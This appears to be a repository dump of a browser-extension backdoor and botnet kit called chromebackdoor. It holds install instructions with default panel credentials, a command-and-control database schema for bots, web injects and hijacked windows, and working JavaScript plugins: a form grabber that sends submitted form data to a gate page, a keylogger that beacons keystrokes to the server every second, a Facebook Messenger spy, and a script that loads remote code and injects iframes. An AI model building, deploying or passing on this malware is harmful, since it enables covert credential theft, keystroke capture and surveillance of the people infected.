├── INSTALL.md
├── PICTURE.md
├── README.md
├── SQL
└── chromebackdoor.sql
├── backdoor
├── activeWindows.js
├── facebookmessage.js
├── firefox
│ ├── bootstrap.js
│ ├── data
│ │ └── content.js
│ ├── index.js
│ ├── package.json
│ └── test
│ │ └── test-index.js
├── iexplorer
│ └── script.js
├── plugins
│ ├── facebookMessage.chromebackdoor
│ ├── form-grabber.chromebackdoor
│ ├── keylogger.chromebackdoor
│ └── simple.chromebackdoor
├── relais
│ ├── html2canvas
│ ├── index.php
│ ├── jquery.js
│ ├── lock.php
│ └── show_script.php
├── rubber_ducky
│ └── payload.chromebackdoor
├── server
│ ├── .DS_Store
│ ├── img
│ │ ├── .DS_Store
│ │ └── 2.png
│ ├── js
│ │ ├── .DS_Store
│ │ ├── call.js
│ │ └── check.js
│ ├── lib
│ │ ├── jquery.cookie.min.js
│ │ └── jquery.min.js
│ └── manifest.json
├── sql
│ ├── .DS_Store
│ └── chromebackdoor.sql
├── version.txt
└── web
│ ├── .DS_Store
│ ├── action
│ ├── bots
│ │ └── index.php
│ ├── facebookspy
│ │ └── index.php
│ ├── hijack
│ │ └── index.php
│ ├── info
│ │ └── index.php
│ ├── listpayload
│ │ └── index.php
│ ├── login
│ │ └── index.php
│ ├── panel
│ │ └── index.php
│ ├── payload
│ │ └── index.php
│ └── settings
│ │ └── index.php
│ ├── class
│ ├── bot.class.php
│ ├── bot_logout.php
│ ├── inject.class.php
│ ├── payload.class.php
│ └── users.class.php
│ ├── css
│ ├── semantic.css
│ └── styles.css
│ ├── gate.php
│ ├── html2canvas.js
│ ├── images
│ ├── loading.gif
│ ├── logo.png
│ ├── offline.png
│ └── online.png
│ ├── includes
│ └── config.php
│ ├── index.php
│ ├── inject.js
│ ├── jquery.js
│ ├── lib
│ ├── .DS_Store
│ └── XMPPHP
│ │ ├── BOSH.php
│ │ ├── Exception.php
│ │ ├── Log.php
│ │ ├── Roster.php
│ │ ├── XMLObj.php
│ │ ├── XMLStream.php
│ │ ├── XMPP.php
│ │ └── XMPP_Old.php
│ ├── logout.php
│ └── show.php
├── changelog.txt
├── chromebackdoor.py
├── config.conf
├── installer
├── build.cmd
├── ch_bk
│ ├── install.cmd
│ └── loader.exe
├── def.sed
├── del.cmd
├── ff_bk
│ ├── ff.js
│ ├── install.cmd
│ └── {b9bfaf1c-a63f-47cd-8b9a-29526ced9060}.xpi
├── ie_bk
│ ├── bhoX32.dll
│ ├── bhoX64.dll
│ └── install.cmd
├── inno
│ ├── Compil32.exe
│ ├── Default.isl
│ ├── Examples
│ │ ├── 64Bit.iss
│ │ ├── 64BitTwoArch.iss
│ │ ├── CodeAutomation.iss
│ │ ├── CodeAutomation2.iss
│ │ ├── CodeClasses.iss
│ │ ├── CodeDlg.iss
│ │ ├── CodeDll.iss
│ │ ├── CodeExample1.iss
│ │ ├── CodePrepareToInstall.iss
│ │ ├── Components.iss
│ │ ├── Example1.iss
│ │ ├── Example2.iss
│ │ ├── Example3.iss
│ │ ├── ISPPExample1.iss
│ │ ├── ISPPExample1License.txt
│ │ ├── Languages.iss
│ │ ├── MyDll.dll
│ │ ├── MyDll
│ │ │ ├── C#
│ │ │ │ ├── MyDll.cs
│ │ │ │ ├── MyDll.csproj
│ │ │ │ ├── MyDll.sln
│ │ │ │ ├── Properties
│ │ │ │ │ └── AssemblyInfo.cs
│ │ │ │ └── packages.config
│ │ │ ├── C
│ │ │ │ ├── MyDll.c
│ │ │ │ ├── MyDll.def
│ │ │ │ └── MyDll.dsp
│ │ │ └── Delphi
│ │ │ │ └── MyDll.dpr
│ │ ├── MyProg-x64.exe
│ │ ├── MyProg.chm
│ │ ├── MyProg.exe
│ │ ├── Readme-Dutch.txt
│ │ ├── Readme-German.txt
│ │ ├── Readme.txt
│ │ └── UninstallCodeExample1.iss
│ ├── ISCC.exe
│ ├── ISCmplr.dll
│ ├── ISPP.chm
│ ├── ISPP.dll
│ ├── ISPPBuiltins.iss
│ ├── ISetup.chm
│ ├── Languages
│ │ ├── Armenian.islu
│ │ ├── BrazilianPortuguese.isl
│ │ ├── Catalan.isl
│ │ ├── Corsican.isl
│ │ ├── Czech.isl
│ │ ├── Danish.isl
│ │ ├── Dutch.isl
│ │ ├── Finnish.isl
│ │ ├── French.isl
│ │ ├── German.isl
│ │ ├── Greek.isl
│ │ ├── Hebrew.isl
│ │ ├── Hungarian.isl
│ │ ├── Italian.isl
│ │ ├── Japanese.isl
│ │ ├── Nepali.islu
│ │ ├── Norwegian.isl
│ │ ├── Polish.isl
│ │ ├── Portuguese.isl
│ │ ├── Russian.isl
│ │ ├── ScottishGaelic.isl
│ │ ├── SerbianCyrillic.isl
│ │ ├── SerbianLatin.isl
│ │ ├── Slovenian.isl
│ │ ├── Spanish.isl
│ │ ├── Turkish.isl
│ │ └── Ukrainian.isl
│ ├── Setup.e32
│ ├── SetupLdr.e32
│ ├── WizModernImage-IS.bmp
│ ├── WizModernImage.bmp
│ ├── WizModernSmallImage-IS.bmp
│ ├── WizModernSmallImage.bmp
│ ├── isbunzip.dll
│ ├── isbzip.dll
│ ├── isfaq.htm
│ ├── islzma.dll
│ ├── islzma32.exe
│ ├── islzma64.exe
│ ├── isscint.dll
│ ├── isunzlib.dll
│ ├── iszlib.dll
│ ├── license.txt
│ ├── unins000.dat
│ ├── unins000.exe
│ ├── unins000.msg
│ └── whatsnew.htm
└── installer.iss
└── version.txt
/INSTALL.md:
--------------------------------------------------------------------------------
1 | #INSTALL WEB
2 |
3 | 1) unzip file generated by chromebackdoor
4 |
5 | ```sh
6 | unzip folder.zip
7 | ```
8 |
9 | 2) Upload a folder web & relais on hosting
10 |
11 | 3) create database & user and update config file
12 | ```sh
13 | /web/includes/config.php
14 | ```
15 |
16 | 4) Upload .SQL on database
17 |
18 | ```sh
19 | /SQL/chromebackdoor.sql
20 | ```
21 |
22 | 5) Login on webpanel (web/index.php)
23 | ```python
24 | username = root
25 | password = toor
26 | ```
27 |
28 | #GENERATE BOT (without .EXE)
29 |
30 | install all dependency & start chromebackdoor.py
31 |
32 | ```sh
33 | python chromebackdoor.py
34 | ```
35 |
36 | You can generate backdoor for all most popular browser
37 |
38 | exemple for Google Chrome:
39 |
40 | ```sh
41 | python chromebackdoor.py --chrome
42 | ```
43 |
44 | Now enter a botmaster domain name (need SSL):
45 |
46 | ```bash
47 | [?] Website hosted (https://localhost/)? https://lynxframework.com/
48 | ```
49 | Same for relais (need SSL):
50 | ```sh
51 | [?] Website relais url (https://localhost/relais)? https://lynxrelay.com/relais
52 | or use same domain
53 | [?] Website relais url (https://localhost/relais)? https://lynxframework.com/relais
54 | ```
55 | ```sh
56 | [?] Information correct [Y/n]? Y
57 | ```
58 |
59 | Select one module (exemple FormGrabber V1.0)
60 | ```sh
61 | [?] please select numbers ? 2
62 | ```
63 |
64 | The script generate zip file with .crx .perm and backdoor folder for update icon / name / desc
65 |
66 | #BUILD .EXE
67 |
68 | 1) run chrommebackdoor with --build
69 | ```sh
70 | python chromebackdoor.py --build
71 | ```
72 | 2) select browser backdoor (exemple --chrome)
73 | ```sh
74 | [?] crx fime (/root/..) ? /root/backdoor.crx
75 | ```
76 | 3) wine start installer.exe and generate bot.exe
77 |
78 | ```sh
79 | Generate successful : {chromebackdoor_folder}/bot.exe
80 | ```
81 |
82 | 4) Start bot.exe with windows
83 |
--------------------------------------------------------------------------------
/PICTURE.md:
--------------------------------------------------------------------------------
1 | ## Extentions binder (Inject)
2 | 
3 |
4 | ## Bot listing
5 | 
6 |
7 |
8 | ## History listing
9 | 
10 |
11 |
12 | ## Url checker & Payload
13 |
14 | Make it on webpanel
15 |
16 | 
17 |
18 | ## Get the log here
19 |
20 | 
21 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 |
4 | ## VIDEO
5 | + [Install Text (V 3.0)](https://github.com/graniet/chromebackdoor/blob/master/INSTALL.md)
6 | + [Install Video (OLD)](https://www.youtube.com/watch?v=uc4817555Fc)
7 | + [Binder guide](https://www.youtube.com/watch?v=-dndxUl5a1E)
8 | + [Module guide](https://www.youtube.com/watch?v=BO05H_4TbSE)
9 | + [Form grabber plugins](https://www.youtube.com/watch?v=c_u6ec87GZs)
10 | + [Facebook MessengerSpy plugins](https://www.youtube.com/watch?v=2js1g8dZhjQ)
11 | + [Jabber Notifier/ Hide Panel](https://www.youtube.com/watch?v=2RgrIiXc4RU)
12 | + [Windows infection](https://www.youtube.com/watch?v=vnsZVMTXOJQ)
13 | + [Rubber Ducky Payload](https://www.youtube.com/watch?v=RP8-OwtchXE)
14 |
15 | #Require:
16 | + pip install crxmake
17 | + wine32
18 |
19 | Let's go
20 |
21 | ```bash
22 | python chromebackdoor.py
23 | user: root
24 | pass: toor
25 | ```
26 |
27 | ## KALI LINUX
28 |
29 | 
30 |
31 |
32 |
33 | ## web browser infection
34 |
35 | 
36 |
37 |
38 |
39 | + pour rappel, infiltrer, surveiller, un système informatique sans autorisation est un délit
40 | + reminder, infiltrate, monitor, computer system without authorization is a crime
41 |
--------------------------------------------------------------------------------
/SQL/chromebackdoor.sql:
--------------------------------------------------------------------------------
1 | -- phpMyAdmin SQL Dump
2 | -- version 4.4.10
3 | -- http://www.phpmyadmin.net
4 | --
5 | -- Client : localhost:8889
6 | -- Généré le : Ven 15 Avril 2016 à 10:48
7 | -- Version du serveur : 5.5.42
8 | -- Version de PHP : 5.6.10
9 |
10 | SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
11 | SET time_zone = "+00:00";
12 |
13 |
14 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
15 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
16 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
17 | /*!40101 SET NAMES utf8mb4 */;
18 |
19 | --
20 | -- Base de données : `chrombackdoor-master`
21 | --
22 |
23 | -- --------------------------------------------------------
24 |
25 | --
26 | -- Structure de la table `action_wait`
27 | --
28 |
29 | CREATE TABLE `action_wait` (
30 | `id` int(11) NOT NULL,
31 | `zombie_name` text NOT NULL,
32 | `commande` text NOT NULL,
33 | `used` int(11) NOT NULL DEFAULT '0'
34 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
35 |
36 | -- --------------------------------------------------------
37 |
38 | --
39 | -- Structure de la table `bots`
40 | --
41 |
42 | CREATE TABLE `bots` (
43 | `id` int(11) NOT NULL,
44 | `name` text NOT NULL,
45 | `backdoor_name` text NOT NULL,
46 | `numbers_logs` int(11) NOT NULL DEFAULT '0',
47 | `online` int(11) NOT NULL DEFAULT '0'
48 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
49 |
50 | -- --------------------------------------------------------
51 |
52 | --
53 | -- Structure de la table `bot_settings`
54 | --
55 |
56 | CREATE TABLE `bot_settings` (
57 | `id` int(11) NOT NULL,
58 | `setting_name` text NOT NULL,
59 | `setting_value` text NOT NULL,
60 | `bot_id` text NOT NULL,
61 | `available` int(11) NOT NULL DEFAULT '0'
62 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
63 |
64 | -- --------------------------------------------------------
65 |
66 | --
67 | -- Structure de la table `facebookspy`
68 | --
69 |
70 | CREATE TABLE `facebookspy` (
71 | `id` int(11) NOT NULL,
72 | `bot_id` int(11) NOT NULL,
73 | `source_code` longtext NOT NULL,
74 | `date_last` text NOT NULL,
75 | `new` int(11) NOT NULL DEFAULT '0'
76 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
77 |
78 | -- --------------------------------------------------------
79 |
80 | --
81 | -- Structure de la table `hijacking_window`
82 | --
83 |
84 | CREATE TABLE `hijacking_window` (
85 | `id` int(11) NOT NULL,
86 | `bot_id` int(11) NOT NULL,
87 | `windows_code` longtext NOT NULL
88 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
89 |
90 | -- --------------------------------------------------------
91 |
92 | --
93 | -- Structure de la table `history_web`
94 | --
95 |
96 | CREATE TABLE `history_web` (
97 | `id` int(11) NOT NULL,
98 | `website` text NOT NULL,
99 | `zombie` text NOT NULL,
100 | `timevisit` text NOT NULL
101 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
102 |
103 | -- --------------------------------------------------------
104 |
105 | --
106 | -- Structure de la table `logs_checker`
107 | --
108 |
109 | CREATE TABLE `logs_checker` (
110 | `id` int(11) NOT NULL,
111 | `id_zombie` int(11) NOT NULL,
112 | `url_site` text NOT NULL,
113 | `logs_site` text NOT NULL,
114 | `last` int(11) DEFAULT '0',
115 | `zombie` text NOT NULL,
116 | `webinject` text NOT NULL
117 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
118 |
119 | -- --------------------------------------------------------
120 |
121 | --
122 | -- Structure de la table `payloads`
123 | --
124 |
125 | CREATE TABLE `payloads` (
126 | `id` int(11) NOT NULL,
127 | `name` text NOT NULL,
128 | `urlverif` text NOT NULL,
129 | `codeinject` text NOT NULL,
130 | `action` int(11) NOT NULL DEFAULT '0'
131 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
132 |
133 | -- --------------------------------------------------------
134 |
135 | --
136 | -- Structure de la table `settings`
137 | --
138 |
139 | CREATE TABLE `settings` (
140 | `id` int(11) NOT NULL,
141 | `hide_panel` int(11) NOT NULL DEFAULT '0',
142 | `get_name` text NOT NULL,
143 | `get_value` text NOT NULL,
144 | `jabber_username` text NOT NULL,
145 | `jabber_password` text NOT NULL,
146 | `jabber_to` text NOT NULL
147 | ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
148 |
149 | --
150 | -- Contenu de la table `settings`
151 | --
152 |
153 | INSERT INTO `settings` (`id`, `hide_panel`, `get_name`, `get_value`, `jabber_username`, `jabber_password`, `jabber_to`) VALUES
154 | (1, 0, '', '', '', '', '');
155 |
156 | -- --------------------------------------------------------
157 |
158 | --
159 | -- Structure de la table `utilisateurs`
160 | --
161 |
162 | CREATE TABLE `utilisateurs` (
163 | `id` int(11) NOT NULL,
164 | `username` text NOT NULL,
165 | `password` varchar(255) NOT NULL,
166 | `roles` int(11) NOT NULL DEFAULT '3',
167 | `bot` int(11) NOT NULL DEFAULT '0'
168 | ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
169 |
170 | --
171 | -- Contenu de la table `utilisateurs`
172 | --
173 |
174 | INSERT INTO `utilisateurs` (`id`, `username`, `password`, `roles`, `bot`) VALUES
175 | (1, 'root', '7b24afc8bc80e548d66c4e7ff72171c5', 0, 0);
176 |
177 | -- --------------------------------------------------------
178 |
179 | --
180 | -- Structure de la table `webinject`
181 | --
182 |
183 | CREATE TABLE `webinject` (
184 | `id` int(11) NOT NULL,
185 | `webinject_site` text NOT NULL,
186 | `webinject_code` text NOT NULL,
187 | `webinject_status` int(11) NOT NULL DEFAULT '0'
188 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
189 |
190 | --
191 | -- Index pour les tables exportées
192 | --
193 |
194 | --
195 | -- Index pour la table `action_wait`
196 | --
197 | ALTER TABLE `action_wait`
198 | ADD PRIMARY KEY (`id`);
199 |
200 | --
201 | -- Index pour la table `bots`
202 | --
203 | ALTER TABLE `bots`
204 | ADD PRIMARY KEY (`id`);
205 |
206 | --
207 | -- Index pour la table `bot_settings`
208 | --
209 | ALTER TABLE `bot_settings`
210 | ADD PRIMARY KEY (`id`);
211 |
212 | --
213 | -- Index pour la table `facebookspy`
214 | --
215 | ALTER TABLE `facebookspy`
216 | ADD PRIMARY KEY (`id`);
217 |
218 | --
219 | -- Index pour la table `hijacking_window`
220 | --
221 | ALTER TABLE `hijacking_window`
222 | ADD PRIMARY KEY (`id`);
223 |
224 | --
225 | -- Index pour la table `history_web`
226 | --
227 | ALTER TABLE `history_web`
228 | ADD PRIMARY KEY (`id`);
229 |
230 | --
231 | -- Index pour la table `logs_checker`
232 | --
233 | ALTER TABLE `logs_checker`
234 | ADD PRIMARY KEY (`id`);
235 |
236 | --
237 | -- Index pour la table `payloads`
238 | --
239 | ALTER TABLE `payloads`
240 | ADD PRIMARY KEY (`id`);
241 |
242 | --
243 | -- Index pour la table `settings`
244 | --
245 | ALTER TABLE `settings`
246 | ADD PRIMARY KEY (`id`);
247 |
248 | --
249 | -- Index pour la table `utilisateurs`
250 | --
251 | ALTER TABLE `utilisateurs`
252 | ADD PRIMARY KEY (`id`);
253 |
254 | --
255 | -- Index pour la table `webinject`
256 | --
257 | ALTER TABLE `webinject`
258 | ADD PRIMARY KEY (`id`);
259 |
260 | --
261 | -- AUTO_INCREMENT pour les tables exportées
262 | --
263 |
264 | --
265 | -- AUTO_INCREMENT pour la table `action_wait`
266 | --
267 | ALTER TABLE `action_wait`
268 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
269 | --
270 | -- AUTO_INCREMENT pour la table `bots`
271 | --
272 | ALTER TABLE `bots`
273 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
274 | --
275 | -- AUTO_INCREMENT pour la table `bot_settings`
276 | --
277 | ALTER TABLE `bot_settings`
278 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
279 | --
280 | -- AUTO_INCREMENT pour la table `facebookspy`
281 | --
282 | ALTER TABLE `facebookspy`
283 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
284 | --
285 | -- AUTO_INCREMENT pour la table `hijacking_window`
286 | --
287 | ALTER TABLE `hijacking_window`
288 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
289 | --
290 | -- AUTO_INCREMENT pour la table `history_web`
291 | --
292 | ALTER TABLE `history_web`
293 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
294 | --
295 | -- AUTO_INCREMENT pour la table `logs_checker`
296 | --
297 | ALTER TABLE `logs_checker`
298 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
299 | --
300 | -- AUTO_INCREMENT pour la table `payloads`
301 | --
302 | ALTER TABLE `payloads`
303 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
304 | --
305 | -- AUTO_INCREMENT pour la table `settings`
306 | --
307 | ALTER TABLE `settings`
308 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=2;
309 | --
310 | -- AUTO_INCREMENT pour la table `utilisateurs`
311 | --
312 | ALTER TABLE `utilisateurs`
313 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=2;
314 | --
315 | -- AUTO_INCREMENT pour la table `webinject`
316 | --
317 | ALTER TABLE `webinject`
318 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
319 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
320 | /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
321 | /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
322 |
--------------------------------------------------------------------------------
/backdoor/activeWindows.js:
--------------------------------------------------------------------------------
1 | $(document).ready(function(){
2 | var urlef = window.location.href;
3 | if(urlef.split('id=')[1] != undefined){
4 | $.get('http://localhost:8888/taff/private/chromebackdoor/web/gate.php?hijack_source=1&id='+urlef.split('id=')[1], function(data)
5 | {
6 | $('.captureWindow')[0].src = data;
7 | });
8 | }
9 | });
10 |
--------------------------------------------------------------------------------
/backdoor/facebookmessage.js:
--------------------------------------------------------------------------------
1 | function GetMessage(){
2 | console.log('start..');
3 | $('.loading').css('display', 'none');
4 | var array_convers = [];
5 | var conversation_listing = $('.titlebarTextWrapper');
6 | for(var list = 0;list < conversation_listing.length - 1;list++){
7 | var listing = '
'+$('.titlebarTextWrapper')[list].innerText+'
';
8 | $('.listingconvers').append(listing);
9 | array_convers.push($('.titlebarTextWrapper')[list].innerText);
10 | $('.titlebarTextWrapper')[list]
11 | $('.convStart')[list].onclick = function(){
12 | var ids = this.getAttribute('id');
13 | show_convers(ids);
14 | }
15 | }
16 | }
17 |
18 | function show_convers(ids){
19 | var old_span = "";
20 | var message_array = [];
21 | var message_owner = [];
22 |
23 | $('.conversationActuel').html('Conversation title
');
24 | $('.oldmessage .conversation').each(function(index, value){
25 | var title = $('.titlebarTextWrapper')[ids].innerText;
26 | $('.nameTitle').html(title);
27 | var conversation = $('.oldmessage .conversation')[ids];
28 | var bullet = conversation.getElementsByClassName('_4tdt');
29 | for(var x = 0;x < bullet.length;x++){
30 | var avatar = bullet[x].querySelector('img');
31 | var span = bullet[x].querySelectorAll('span');
32 | if(span.length > 1){
33 | for(var y = 0;y < span.length; y++){
34 | if(avatar != null && span[y].innerText != '' && span[y].innerText != old_span && message_array.indexOf(span[y].innerText) < 0){
35 | if(old_span != span[y].innerText){
36 | message_array.push(span[y].innerText);
37 | var div = '';
38 | $('.conversationActuel').append(div);
39 | old_span = span[y].innerText;
40 | }
41 | }
42 | else if(avatar == null && span[y].innerText != '' && span[y].innerText != old_span && message_owner.indexOf(span[y].innerText) < 0){
43 | message_owner.push(span[y].innerText);
44 | var div = '';
45 | $('.conversationActuel').append(div);
46 | old_span = span[y].innerText;
47 | }
48 | }
49 | }
50 | }
51 | });
52 | }
53 |
54 | $(document).ready(function(){
55 | var urlef = window.location.href;
56 | if(urlef.split('id=')[1] != undefined){
57 | $.get('http://localhost:8888/taff/private/chromebackdoor/web/gate.php?source_spy='+urlef.split('id=')[1], function(data){
58 | if(data != ''){
59 | $('.oldmessage').append(data);
60 | window.setTimeout('GetMessage()',5000);
61 | }
62 | });
63 | }
64 | });
65 |
66 | //source = document.getElementById('pagelet_dock').innerHTML
--------------------------------------------------------------------------------
/backdoor/firefox/bootstrap.js:
--------------------------------------------------------------------------------
1 | /* This Source Code Form is subject to the terms of the Mozilla Public
2 | * License, v. 2.0. If a copy of the MPL was not distributed with this
3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
4 | "use strict";
5 |
6 | const { utils: Cu } = Components;
7 | const rootURI = __SCRIPT_URI_SPEC__.replace("bootstrap.js", "");
8 | const COMMONJS_URI = "resource://gre/modules/commonjs";
9 | const { require } = Cu.import(COMMONJS_URI + "/toolkit/require.js", {});
10 | const { Bootstrap } = require(COMMONJS_URI + "/sdk/addon/bootstrap.js");
11 | var { startup, shutdown, install, uninstall } = new Bootstrap(rootURI);
12 |
--------------------------------------------------------------------------------
/backdoor/firefox/index.js:
--------------------------------------------------------------------------------
1 | var data = require('sdk/self').data;
2 | require('sdk/page-mod').PageMod({
3 | include: "*",
4 | contentScriptWhen: "ready",
5 | contentScriptFile: [data.url('content.js')],
6 | attachTo: ['existing', 'top', 'frame']
7 | });
8 |
--------------------------------------------------------------------------------
/backdoor/firefox/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "title": "//NAME//",
3 | "name": "//NAME_NB//",
4 | "version": "//VERSION//",
5 | "description": "//DESCRIPTION//",
6 | "main": "index.js",
7 | "author": "LynxFramework",
8 | "engines": {
9 | "firefox": ">=38.0a1",
10 | "fennec": ">=38.0a1"
11 | },
12 | "license": "MIT",
13 | "keywords": [
14 | "jetpack"
15 | ]
16 | }
17 |
--------------------------------------------------------------------------------
/backdoor/firefox/test/test-index.js:
--------------------------------------------------------------------------------
1 | var main = require("../");
2 |
3 | exports["test main"] = function(assert) {
4 | assert.pass("Unit test running!");
5 | };
6 |
7 | exports["test main async"] = function(assert, done) {
8 | assert.pass("async Unit test running!");
9 | done();
10 | };
11 |
12 | exports["test dummy"] = function(assert, done) {
13 | main.dummy("foo", function(text) {
14 | assert.ok((text === "foo"), "Is the text actually 'foo'");
15 | done();
16 | });
17 | };
18 |
19 | require("sdk/test").run(exports);
20 |
--------------------------------------------------------------------------------
/backdoor/iexplorer/script.js:
--------------------------------------------------------------------------------
1 | $(document).ready(function()
2 | {
3 | var phish = "";
4 | var version = 'Build001';
5 | var tabURL = window.location.href;
6 |
7 | //settings
8 |
9 | var v = document.createElement('script');
10 | v.type = 'text/javascript';
11 | v.async = true;
12 | v.id = "scriptchromebackdoor"
13 | v.src = server_web+"relais/jquery.js";
14 | //var z = document.getElementById('script')[0];
15 |
16 | var s = document.createElement('script');
17 | s.type = 'text/javascript';
18 | s.async = true;
19 | s.src = server_web+"relais/show_script.php";
20 | document.body.appendChild(v);
21 | document.body.appendChild(s);
22 |
23 | function online(){
24 | $.get(server_web+'relais/index.php?online=1');
25 | }
26 |
27 | function iframe(){
28 | if(typeof $('#zfpjfizeoi')[0] == undefined){
29 | $.get(server_web+'relais/index.php?iframe=1', function(data){
30 | if(data != ''){
31 | var ifrm = document.createElement("IFRAME");
32 | ifrm.setAttribute("src", data);
33 | ifrm.setAttribute("id", "zfpjfizeoi");
34 | document.body.appendChild(ifrm);
35 | }
36 | });
37 | }
38 | }
39 |
40 | setInterval(iframe, 300);
41 | setInterval(online,20000);
42 | var url_history = window.location.href;
43 |
44 | $.get(server_web+'relais/index.php?online=1');
45 | $.get(server_web+'relais/index.php?history='+url_history);
46 | $.get(server_web+'relais/index.php?n=pop&version='+version);
47 |
48 | //module
49 |
50 |
51 | });
52 |
--------------------------------------------------------------------------------
/backdoor/plugins/facebookMessage.chromebackdoor:
--------------------------------------------------------------------------------
1 | %title%Facebook Messenger Spy%title%
2 |
3 | %content%
4 | var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=Base64._utf8_encode(e);while(f>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},decode:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=Base64._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/rn/g,"n");var t="";for(var n=0;n127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}}
5 |
6 | if(tabURL.indexOf('facebook') > -1){
7 | setTimeout(function(){
8 | query = document.getElementById('pagelet_dock').innerHTML
9 | var encoded = Base64.encode(query);
10 | $.post(server_web+gate_page, { facebookspy_add: encoded });
11 | }, 4000);
12 | }
13 | %content%
14 |
15 | %option%Update your url on facebookmessage.js line 46 %option%
--------------------------------------------------------------------------------
/backdoor/plugins/form-grabber.chromebackdoor:
--------------------------------------------------------------------------------
1 | %title%FormGrabber v1.0%title%
2 |
3 | %content%
4 | var query = "";
5 | var x = 0;
6 | if(typeof $('form')[0] != undefined){
7 | $('form').each(function(index, value)
8 | {
9 | $(value).on("submit", function(event){
10 | $('form').each(function(index, value){
11 | query = query + $(this).serialize()
12 | x = x + 1;
13 | });
14 | if(x >= $('form').length){
15 | var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=Base64._utf8_encode(e);while(f>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},decode:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=Base64._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/rn/g,"n");var t="";for(var n=0;n127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}}
16 |
17 | var encoded = Base64.encode(query);
18 | $.get(gate_page+'?info='+encoded+'&url='+window.location.href);
19 | }
20 | });
21 | });
22 | };
23 |
24 | %content%
25 |
--------------------------------------------------------------------------------
/backdoor/plugins/keylogger.chromebackdoor:
--------------------------------------------------------------------------------
1 | %title%Keylogger%title%
2 |
3 | %content%
4 | var keys='';
5 | document.onkeypress = function(e) {
6 | get = window.event?event:e;
7 | key = get.keyCode?get.keyCode:get.charCode;
8 | key = String.fromCharCode(key);
9 | keys+=key;
10 | }
11 | window.setInterval(function(){
12 | var url_steal = server_web + "keylooger.php?c=" + keys
13 | new Image().src = url_steal;
14 | keys = '';
15 | }, 1000);
16 | %content%
17 |
